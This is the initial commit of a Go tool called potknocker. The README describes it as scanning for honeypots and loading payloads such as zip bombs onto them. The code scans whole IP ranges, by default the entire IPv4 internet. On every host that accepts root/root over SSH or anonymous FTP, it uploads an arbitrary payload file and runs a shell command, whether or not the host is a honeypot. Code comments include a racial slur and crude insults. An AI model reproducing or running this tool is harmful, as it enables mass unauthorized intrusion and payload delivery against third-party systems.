initial
This commit is contained in:
commit
7103b2efb3
7
README.md
Normal file
7
README.md
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
# potknocker
|
||||||
|
|
||||||
|
> scans for honeypots and loads arbitrary payloads onto them, like zip bombs
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://i.imgur.com/A6Y5Y7P.png" width="150" title="latina">
|
||||||
|
</p>
|
12
cmd/potknocker/main.go
Normal file
12
cmd/potknocker/main.go
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"potknocker/common"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
common.LoadConf()
|
||||||
|
common.SetExcludes()
|
||||||
|
common.Banner()
|
||||||
|
common.Takeoff()
|
||||||
|
}
|
74
common/config.go
Normal file
74
common/config.go
Normal file
@ -0,0 +1,74 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
cidr = flag.String("r", "", "")
|
||||||
|
list = flag.String("l", "", "")
|
||||||
|
threads = flag.Int("t", 25, "")
|
||||||
|
sshmode = flag.Bool("ssh", false, "")
|
||||||
|
ftpmode = flag.Bool("ftp", false, "")
|
||||||
|
payload = flag.String("p", "", "")
|
||||||
|
cmd = flag.String("c", "", "")
|
||||||
|
silent = flag.Bool("s", false, "")
|
||||||
|
|
||||||
|
Params *Config
|
||||||
|
)
|
||||||
|
|
||||||
|
type Config struct {
|
||||||
|
Cidr string // individual cidr to target
|
||||||
|
Targets string // list of target cidrs
|
||||||
|
Mode uint8 // 0:ssh 1:ftp
|
||||||
|
Payload string // file to upload
|
||||||
|
Command string // commands to run within ssh session after payload upload
|
||||||
|
Threads int // concurrent workers
|
||||||
|
Silent bool // no verbosity
|
||||||
|
}
|
||||||
|
|
||||||
|
func LoadConf() {
|
||||||
|
flag.Usage = usage
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
if len(os.Args) == 1 {
|
||||||
|
usage()
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !*sshmode && !*ftpmode {
|
||||||
|
fatal("are you targeting ssh (-ssh) or ftp (-ftp)?")
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := os.Stat(*payload); err != nil {
|
||||||
|
fatal("payload '" + *payload + "' not found")
|
||||||
|
}
|
||||||
|
|
||||||
|
targetcidr := ""
|
||||||
|
if *list == "" && *cidr == "" {
|
||||||
|
targetcidr = "0.0.0.0/0"
|
||||||
|
} else if *cidr != "" {
|
||||||
|
if !validcidr(*cidr) {
|
||||||
|
fatal(fmt.Sprintf("invalid target cidr: %s", *cidr))
|
||||||
|
}
|
||||||
|
|
||||||
|
targetcidr = *cidr
|
||||||
|
}
|
||||||
|
|
||||||
|
var mode uint8 = 0
|
||||||
|
if *ftpmode {
|
||||||
|
mode = 1
|
||||||
|
}
|
||||||
|
|
||||||
|
Params = &Config{
|
||||||
|
targetcidr,
|
||||||
|
*list,
|
||||||
|
mode,
|
||||||
|
*payload,
|
||||||
|
*cmd,
|
||||||
|
*threads,
|
||||||
|
*silent,
|
||||||
|
}
|
||||||
|
}
|
80
common/console.go
Normal file
80
common/console.go
Normal file
@ -0,0 +1,80 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
colorReset = "\033[0m"
|
||||||
|
colorRed = "\033[31m"
|
||||||
|
colorPurple = "\033[35m"
|
||||||
|
colorCyan = "\033[36m"
|
||||||
|
colorYellow = "\033[33m"
|
||||||
|
colorGreen = "\033[32m"
|
||||||
|
skull = "\u2620"
|
||||||
|
)
|
||||||
|
|
||||||
|
func fatal(e string) {
|
||||||
|
fmt.Printf("%s%s %s%s\n", colorRed, skull, e, colorReset)
|
||||||
|
os.Exit(-1)
|
||||||
|
}
|
||||||
|
|
||||||
|
func info(msg string) {
|
||||||
|
fmt.Printf("%si %s%s\n", colorCyan, msg, colorReset)
|
||||||
|
}
|
||||||
|
|
||||||
|
func warn(msg string) {
|
||||||
|
fmt.Printf("%s! %s%s\n", colorYellow, msg, colorReset)
|
||||||
|
}
|
||||||
|
|
||||||
|
func success(msg string) {
|
||||||
|
fmt.Printf("%s+ %s%s\n", colorGreen, msg, colorReset)
|
||||||
|
}
|
||||||
|
|
||||||
|
func usage() {
|
||||||
|
Banner()
|
||||||
|
fmt.Fprintf(os.Stderr, `
|
||||||
|
potknocker - the block party on honeypot street
|
||||||
|
%s!%s -r %starget specific cidr range [0.0.0.0/0]%s
|
||||||
|
-l %slist of target cidr's (individual ip = /32)%s
|
||||||
|
%s!%s -ssh %starget ssh honeypots%s
|
||||||
|
%s!%s -ftp %starget ftp honeypots
|
||||||
|
%s!%s -p %spayload file to upload%s
|
||||||
|
-c %sshell command to run after uploading ssh payload%s
|
||||||
|
-t %sthreads [25]%s
|
||||||
|
-s %ssilence attempt logs%s
|
||||||
|
`, colorRed, colorCyan, colorPurple, colorCyan, colorPurple, colorCyan, colorYellow, colorCyan, colorPurple,
|
||||||
|
colorCyan, colorYellow, colorCyan, colorPurple, colorRed, colorCyan, colorPurple, colorCyan, colorPurple,
|
||||||
|
colorCyan, colorPurple, colorCyan, colorPurple, colorReset)
|
||||||
|
}
|
||||||
|
|
||||||
|
func Banner() {
|
||||||
|
fmt.Fprintf(os.Stderr, `
|
||||||
|
___________ ____
|
||||||
|
______/ \__// \__/____\
|
||||||
|
_/ \_/ //____\\
|
||||||
|
/| / \
|
||||||
|
| | \ /
|
||||||
|
| | | || \ \______/
|
||||||
|
| | || || |\ / |
|
||||||
|
\| || || | / | \
|
||||||
|
| || || | / /_\ \
|
||||||
|
| ___ || ___ || | / / \
|
||||||
|
\_ _/ \_ _/ | ____ |/__/ \
|
||||||
|
_\_ _/ \ /
|
||||||
|
/____ /
|
||||||
|
/ \ /
|
||||||
|
\______\_________/
|
||||||
|
|
||||||
|
%spotknocker - doing burnouts down honeypot street%s
|
||||||
|
sincerely,
|
||||||
|
~delorean
|
||||||
|
`, colorRed, colorReset)
|
||||||
|
}
|
||||||
|
|
||||||
|
func pause() {
|
||||||
|
time.Sleep(3 * time.Second)
|
||||||
|
warn("parking in front of steve linford's house...")
|
||||||
|
}
|
76
common/exec.go
Normal file
76
common/exec.go
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
// separate channel iterators per case might not look the prettiest, but performs better due to
|
||||||
|
// not checking Params.Mode after every addr is received and avoiding an extra cmp every cycle.
|
||||||
|
// form over function source code aestheticians can suck the skin off my dick. on chirp.
|
||||||
|
func thread(addrs <-chan string, tab chan<- interface{}) {
|
||||||
|
switch Params.Mode {
|
||||||
|
case 0: // ssh
|
||||||
|
for addr := range addrs {
|
||||||
|
if !ipexcluded(addr) {
|
||||||
|
if !Params.Silent {
|
||||||
|
info("trying ssh connection to " + addr)
|
||||||
|
}
|
||||||
|
if c, err := connssh(addr); err == nil {
|
||||||
|
success("connected to " + addr + " - " + string(c.ServerVersion()))
|
||||||
|
if err = loadpl(c); err == nil {
|
||||||
|
success("wrote payload to " + c.RemoteAddr().String())
|
||||||
|
if Params.Command != "" {
|
||||||
|
if err = runcmd(c, Params.Command); err == nil {
|
||||||
|
success("executed command on " + c.LocalAddr().String() + " as " + c.User())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
c.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
default: // ftp
|
||||||
|
for addr := range addrs {
|
||||||
|
if !ipexcluded(addr) {
|
||||||
|
if !Params.Silent {
|
||||||
|
info("trying anonymous ftp connection to " + addr)
|
||||||
|
}
|
||||||
|
if c, err := connftp(addr); err == nil {
|
||||||
|
success("logged into " + addr + " as anonymous")
|
||||||
|
if err = uploadplftp(c); err == nil {
|
||||||
|
success("delivered payload to anonymous ftp server at " + addr)
|
||||||
|
}
|
||||||
|
c.Quit()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tab <- "hack the planet"
|
||||||
|
}
|
||||||
|
|
||||||
|
func Takeoff() {
|
||||||
|
// id die for my niggas
|
||||||
|
// i ride my niggas
|
||||||
|
// ride for*
|
||||||
|
pause()
|
||||||
|
|
||||||
|
addrs := make(chan string)
|
||||||
|
tab := make(chan interface{})
|
||||||
|
|
||||||
|
for x := 0; x < Params.Threads; x++ {
|
||||||
|
go thread(addrs, tab)
|
||||||
|
}
|
||||||
|
|
||||||
|
if Params.Cidr != "" {
|
||||||
|
if !cidrexcluded(Params.Cidr) {
|
||||||
|
lcgcidr(Params.Cidr, addrs)
|
||||||
|
} else {
|
||||||
|
fatal("provided cidr " + Params.Cidr + " is within an excluded range")
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
readlist(Params.Targets, addrs)
|
||||||
|
}
|
||||||
|
close(addrs)
|
||||||
|
|
||||||
|
for x := 0; x < Params.Threads; x++ {
|
||||||
|
<-tab
|
||||||
|
}
|
||||||
|
close(tab)
|
||||||
|
}
|
34
common/ftp.go
Normal file
34
common/ftp.go
Normal file
@ -0,0 +1,34 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/jlaffaye/ftp"
|
||||||
|
)
|
||||||
|
|
||||||
|
func connftp(addr string) (*ftp.ServerConn, error) {
|
||||||
|
c, err := ftp.Dial(fmt.Sprintf("%s:%d", addr, 21), ftp.DialWithTimeout(400*time.Millisecond))
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
err = c.Login("anonymous", "anonymous")
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return c, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func uploadplftp(c *ftp.ServerConn) error {
|
||||||
|
fd, err := os.Open(Params.Payload)
|
||||||
|
if err != nil {
|
||||||
|
warn("error opening local payload file")
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer fd.Close()
|
||||||
|
|
||||||
|
return c.Stor(Params.Payload, fd)
|
||||||
|
}
|
42
common/lcg.go
Normal file
42
common/lcg.go
Normal file
@ -0,0 +1,42 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"math/big"
|
||||||
|
"net"
|
||||||
|
)
|
||||||
|
|
||||||
|
func iptouint(ip net.IP) uint32 {
|
||||||
|
ip = ip.To4()
|
||||||
|
return uint32(ip[0])<<24 | uint32(ip[1])<<16 | uint32(ip[2])<<8 | uint32(ip[3])
|
||||||
|
}
|
||||||
|
|
||||||
|
func toip(num uint32) string {
|
||||||
|
return fmt.Sprintf("%d.%d.%d.%d",
|
||||||
|
(num>>24)&255,
|
||||||
|
(num>>16)&255,
|
||||||
|
(num>>8)&255,
|
||||||
|
num&255)
|
||||||
|
}
|
||||||
|
|
||||||
|
// per-cidr linear congruential generator for efficient randomized target ip ordering, ty claude
|
||||||
|
func lcgcidr(cidr string, out chan<- string) {
|
||||||
|
// lcg constants
|
||||||
|
const a uint64 = 1664525
|
||||||
|
const c uint64 = 1013904223
|
||||||
|
|
||||||
|
_, ipnet, _ := net.ParseCIDR(cidr)
|
||||||
|
start := iptouint(ipnet.IP)
|
||||||
|
|
||||||
|
ones, bits := ipnet.Mask.Size()
|
||||||
|
addrcount := new(big.Int).Lsh(big.NewInt(1), uint(bits-ones))
|
||||||
|
|
||||||
|
x := uint64(start)
|
||||||
|
m := uint64(addrcount.Uint64())
|
||||||
|
|
||||||
|
for i := uint64(0); i < m; i++ {
|
||||||
|
x = (a*x + c) % (1 << 32) // mod of full 32bit addr count
|
||||||
|
ip := toip(uint32((x % m) + uint64(start)))
|
||||||
|
out <- ip
|
||||||
|
}
|
||||||
|
}
|
128
common/net.go
Normal file
128
common/net.go
Normal file
@ -0,0 +1,128 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"io"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
var rfc1918 = []string{
|
||||||
|
"0.0.0.0/8",
|
||||||
|
"10.0.0.0/8",
|
||||||
|
"192.168.0.0/16",
|
||||||
|
"172.16.0.0/12",
|
||||||
|
}
|
||||||
|
|
||||||
|
var excludes []*net.IPNet
|
||||||
|
|
||||||
|
func pullbogons() ([]string, error) {
|
||||||
|
res, err := http.Get("https://www.team-cymru.org/Services/Bogons/fullbogons-ipv4.txt")
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
if res.StatusCode == 404 {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
defer res.Body.Close()
|
||||||
|
|
||||||
|
b := new(strings.Builder)
|
||||||
|
|
||||||
|
_, _ = io.Copy(b, res.Body)
|
||||||
|
raw := b.String()
|
||||||
|
parts := strings.Split(raw, "\n")
|
||||||
|
var bogons []string
|
||||||
|
for _, r := range parts {
|
||||||
|
if strings.Contains(r, "#") || !strings.Contains(r, "/") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
bogons = append(bogons, r)
|
||||||
|
}
|
||||||
|
return bogons, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseranges(ranges []string) error {
|
||||||
|
for _, r := range ranges {
|
||||||
|
_, ipnet, err := net.ParseCIDR(r)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
excludes = append(excludes, ipnet)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func validcidr(cidr string) bool {
|
||||||
|
_, _, err := net.ParseCIDR(cidr)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func broadcast(ipnet *net.IPNet) net.IP {
|
||||||
|
ip := ipnet.IP.To4()
|
||||||
|
mask := ipnet.Mask
|
||||||
|
|
||||||
|
for i := range ip {
|
||||||
|
ip[i] |= ^mask[i]
|
||||||
|
}
|
||||||
|
|
||||||
|
return ip
|
||||||
|
}
|
||||||
|
|
||||||
|
func issmaller(submask, supermask net.IPMask) bool {
|
||||||
|
for i := range submask {
|
||||||
|
if submask[i] < supermask[i] {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func issubnet(subnet, supernet *net.IPNet) bool {
|
||||||
|
if !supernet.Contains(subnet.IP) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
if !issmaller(subnet.Mask, supernet.Mask) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
bc := broadcast(subnet)
|
||||||
|
return supernet.Contains(bc)
|
||||||
|
}
|
||||||
|
func ipexcluded(ip string) bool {
|
||||||
|
ip_ := net.ParseIP(ip)
|
||||||
|
for _, ex := range excludes {
|
||||||
|
if ex.Contains(ip_) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func cidrexcluded(cidr string) bool {
|
||||||
|
_, argnet, _ := net.ParseCIDR(cidr)
|
||||||
|
for _, ex := range excludes {
|
||||||
|
if issubnet(argnet, ex) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func SetExcludes() {
|
||||||
|
if bogons, err := pullbogons(); err == nil && len(bogons) > 4 {
|
||||||
|
if err = parseranges(bogons); err == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
info("error parsing bogon ranges, using rfc1918 defaults")
|
||||||
|
_ = parseranges(rfc1918)
|
||||||
|
}
|
27
common/read.go
Normal file
27
common/read.go
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func readlist(list string, out chan string) {
|
||||||
|
fd, err := os.Open(list)
|
||||||
|
if err != nil {
|
||||||
|
fatal(err.Error())
|
||||||
|
}
|
||||||
|
defer fd.Close()
|
||||||
|
|
||||||
|
fs := bufio.NewScanner(fd)
|
||||||
|
for fs.Scan() {
|
||||||
|
line := strings.TrimSpace(fs.Text())
|
||||||
|
if len(line) > 0 {
|
||||||
|
if !validcidr(line) {
|
||||||
|
fatal(fmt.Sprintf("invalid target range: %s", line))
|
||||||
|
}
|
||||||
|
lcgcidr(line, out)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
31
common/ssh.go
Normal file
31
common/ssh.go
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/melbahja/goph"
|
||||||
|
"golang.org/x/crypto/ssh"
|
||||||
|
)
|
||||||
|
|
||||||
|
func connssh(addr string) (*goph.Client, error) {
|
||||||
|
return goph.NewConn(&goph.Config{
|
||||||
|
User: "root",
|
||||||
|
Addr: addr,
|
||||||
|
Port: uint(22),
|
||||||
|
Auth: goph.Password("root"),
|
||||||
|
Callback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||||
|
return nil
|
||||||
|
},
|
||||||
|
Timeout: 400 * time.Millisecond,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func loadpl(c *goph.Client) error {
|
||||||
|
return c.Upload(Params.Payload, "/root/"+Params.Payload)
|
||||||
|
}
|
||||||
|
|
||||||
|
func runcmd(c *goph.Client, cmd string) error {
|
||||||
|
_, err := c.Run(cmd)
|
||||||
|
return err
|
||||||
|
}
|
18
go.mod
Normal file
18
go.mod
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
module potknocker
|
||||||
|
|
||||||
|
go 1.22.6
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/pkg/sftp v1.13.6
|
||||||
|
golang.org/x/crypto v0.26.0
|
||||||
|
)
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/hashicorp/errwrap v1.0.0 // indirect
|
||||||
|
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||||
|
github.com/jlaffaye/ftp v0.2.0 // indirect
|
||||||
|
github.com/kr/fs v0.1.0 // indirect
|
||||||
|
github.com/melbahja/goph v1.4.0 // indirect
|
||||||
|
github.com/pkg/errors v0.9.1 // indirect
|
||||||
|
golang.org/x/sys v0.23.0 // indirect
|
||||||
|
)
|
74
go.sum
Normal file
74
go.sum
Normal file
@ -0,0 +1,74 @@
|
|||||||
|
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||||
|
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
|
||||||
|
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||||
|
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
|
||||||
|
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
|
||||||
|
github.com/jlaffaye/ftp v0.2.0 h1:lXNvW7cBu7R/68bknOX3MrRIIqZ61zELs1P2RAiA3lg=
|
||||||
|
github.com/jlaffaye/ftp v0.2.0/go.mod h1:is2Ds5qkhceAPy2xD6RLI6hmp/qysSoymZ+Z2uTnspI=
|
||||||
|
github.com/kr/fs v0.1.0 h1:Jskdu9ieNAYnjxsi0LbQp1ulIKZV1LAFgK1tWhpZgl8=
|
||||||
|
github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg=
|
||||||
|
github.com/melbahja/goph v1.4.0 h1:z0PgDbBFe66lRYl3v5dGb9aFgPy0kotuQ37QOwSQFqs=
|
||||||
|
github.com/melbahja/goph v1.4.0/go.mod h1:uG+VfK2Dlhk+O32zFrRlc3kYKTlV6+BtvPWd/kK7U68=
|
||||||
|
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||||
|
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||||
|
github.com/pkg/sftp v1.13.5/go.mod h1:wHDZ0IZX6JcBYRK1TH9bcVq8G7TLpVHYIGJRFnmPfxg=
|
||||||
|
github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo=
|
||||||
|
github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk=
|
||||||
|
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||||
|
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||||
|
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||||
|
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||||
|
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||||
|
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||||
|
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
|
||||||
|
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||||
|
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||||
|
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||||
|
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||||
|
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||||
|
golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw=
|
||||||
|
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
|
||||||
|
golang.org/x/crypto v0.26.0 h1:RrRspgV4mU+YwB4FYnuBoKsUapNIL5cohGAmSH3azsw=
|
||||||
|
golang.org/x/crypto v0.26.0/go.mod h1:GY7jblb9wI+FOo5y8/S2oY4zWP07AkOJ4+jxCqdqn54=
|
||||||
|
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||||
|
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||||
|
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||||
|
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||||
|
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||||
|
golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco=
|
||||||
|
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||||
|
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||||
|
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||||
|
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||||
|
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
|
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
|
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
|
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
|
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
|
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
|
golang.org/x/sys v0.23.0 h1:YfKFowiIMvtgl1UERQoTPPToxltDeZfbj4H7dVUCwmM=
|
||||||
|
golang.org/x/sys v0.23.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||||
|
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||||
|
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||||
|
golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||||
|
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||||
|
golang.org/x/term v0.23.0 h1:F6D4vR+EHoL9/sWAWgAR1H2DcHr4PareCbAaCo1RpuU=
|
||||||
|
golang.org/x/term v0.23.0/go.mod h1:DgV24QBUrK6jhZXl+20l6UWznPlwAHm1Q1mGHtydmSk=
|
||||||
|
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||||
|
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||||
|
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||||
|
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||||
|
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||||
|
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||||
|
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||||
|
